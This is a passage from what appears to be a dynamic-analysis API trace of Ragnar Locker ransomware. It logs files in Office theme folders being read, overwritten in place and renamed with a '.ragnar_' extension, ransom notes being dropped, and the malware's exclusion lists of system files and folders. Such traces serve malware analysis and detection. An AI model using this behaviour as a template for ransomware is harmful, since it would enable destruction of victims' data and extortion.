dwFreeType=0x8000) returned 1 [0071.539] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1f5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.539] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.539] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.540] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.540] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0071.540] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.540] GetProcessHeap () returned 0x580000 [0071.540] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0071.540] CloseHandle (hObject=0x10c) returned 1 [0071.542] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" [0071.542] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF.ragnar_FD7BD9FC" [0071.542] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0071.549] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0071.549] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0071.549] lstrcpyW (in: lpString1=0x1eab72, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0071.549] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned=".GIF" [0071.549] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0071.549] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0071.549] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0071.549] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0071.549] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0071.549] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0071.550] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0071.550] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0071.550] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0071.550] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0071.550] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0071.550] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0071.550] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0071.550] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0071.550] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0071.550] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0071.550] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0071.550] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0071.550] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0071.550] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0071.550] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0071.550] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0071.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 0x20 [0071.551] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0071.551] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2044) returned 1 [0071.551] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x7f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.551] GetProcessHeap () returned 0x580000 [0071.551] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.551] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.553] VirtualAlloc (lpAddress=0x0, dwSize=0x7fc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.553] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.553] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.553] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7fc, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x7fc, lpOverlapped=0x0) returned 1 [0071.553] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0071.553] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7fc, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.553] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7fc, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x7fc, lpOverlapped=0x0) returned 1 [0071.554] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7fc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.554] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.554] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x7fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.554] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.554] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.554] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.554] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0071.554] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.554] GetProcessHeap () returned 0x580000 [0071.554] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0071.554] CloseHandle (hObject=0x10c) returned 1 [0071.556] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" [0071.556] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.ragnar_FD7BD9FC" [0071.556] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0071.556] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cd8fa80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7cd8fa80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0071.556] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0071.556] lstrcpyW (in: lpString1=0x1eab72, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0071.556] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\RGNR_FD7BD9FC.txt") returned=".txt" [0071.556] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0071.556] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0071.557] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0071.557] lstrcpyW (in: lpString1=0x1eab72, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0071.557] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned=".PNG" [0071.557] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0071.557] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0071.557] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0071.557] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0071.557] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0071.557] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0071.557] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0071.557] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0071.557] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0071.557] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0071.557] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0071.557] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0071.557] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0071.557] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0071.557] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0071.557] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0071.557] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0071.557] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0071.557] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0071.557] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0071.557] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0071.557] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0071.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 0x20 [0071.558] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0071.558] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=29925) returned 1 [0071.558] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x74dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.558] GetProcessHeap () returned 0x580000 [0071.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.558] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.559] VirtualAlloc (lpAddress=0x0, dwSize=0x74e5, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.559] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.559] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.559] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x74e5, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x74e5, lpOverlapped=0x0) returned 1 [0071.560] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0071.561] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x74e5, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.561] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x74e5, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x74e5, lpOverlapped=0x0) returned 1 [0071.561] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x74e5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.561] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.561] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x74e5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.561] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.561] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.561] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.562] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0071.562] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.562] GetProcessHeap () returned 0x580000 [0071.562] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0071.562] CloseHandle (hObject=0x10c) returned 1 [0071.563] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" [0071.563] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0071.563] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0071.563] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0071.563] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0071.563] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0071.563] lstrcmpiW (lpString1="CASCADE", lpString2=".") returned 1 [0071.564] lstrcmpiW (lpString1="CASCADE", lpString2="..") returned 1 [0071.564] lstrcmpiW (lpString1="CASCADE", lpString2="Windows") returned -1 [0071.564] lstrcmpiW (lpString1="CASCADE", lpString2="Windows.old") returned -1 [0071.564] lstrcmpiW (lpString1="CASCADE", lpString2="Tor browser") returned -1 [0071.564] lstrcmpiW (lpString1="CASCADE", lpString2="Internet Explorer") returned -1 [0071.564] lstrcmpiW (lpString1="CASCADE", lpString2="Google") returned -1 [0071.564] lstrcmpiW (lpString1="CASCADE", lpString2="Opera") returned -1 [0071.564] lstrcmpiW (lpString1="CASCADE", lpString2="Opera Software") returned -1 [0071.564] lstrcmpiW (lpString1="CASCADE", lpString2="Mozilla") returned -1 [0071.564] lstrcmpiW (lpString1="CASCADE", lpString2="Mozilla Firefox") returned -1 [0071.564] lstrcmpiW (lpString1="CASCADE", lpString2="$Recycle.Bin") returned 1 [0071.564] lstrcmpiW (lpString1="CASCADE", lpString2="ProgramData") returned -1 [0071.564] lstrcmpiW (lpString1="CASCADE", lpString2="All Users") returned 1 [0071.564] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0071.564] lstrcpyW (in: lpString1=0x1eb638, lpString2="CASCADE" | out: lpString1="CASCADE") returned="CASCADE" [0071.564] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\" [0071.564] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\" [0071.564] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\RGNR_FD7BD9FC.txt" [0071.564] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0071.567] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*.*" [0071.567] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, 